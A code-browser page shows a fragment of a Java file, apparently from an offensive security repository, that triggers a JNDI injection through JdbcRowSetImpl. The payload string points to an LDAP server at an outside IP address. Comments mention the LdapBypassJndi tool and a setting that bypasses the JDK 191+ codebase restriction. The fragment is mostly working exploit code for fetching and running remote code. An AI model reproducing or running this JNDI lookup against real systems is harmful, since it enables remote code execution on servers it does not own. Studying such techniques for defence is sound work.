MCPcopy Create free account
hub / github.com/Firebasky/Java / main

Method main

shell/JNDI/test.java:6–14  ·  view source on GitHub ↗
(String[] args)

Source from the content-addressed store, hash-verified

4
5public class test {
6 public static void main(String[] args) {
7 String payload = "ldap://1.116.136.120:8888/test";//可使用LdapBypassJndi工具
8// String payload = "ldap://127.0.0.1:1399/test";
9 try {
10 Jndieval(payload);
11 } catch (Exception e) {
12 e.printStackTrace();
13 }
14 }
15 public static void Jndieval(String payload) throws Exception{
16// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");//绕过jdk191+
17 JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

Callers

nothing calls this directly

Calls 1

JndievalMethod · 0.95

Tested by

no test coverage detected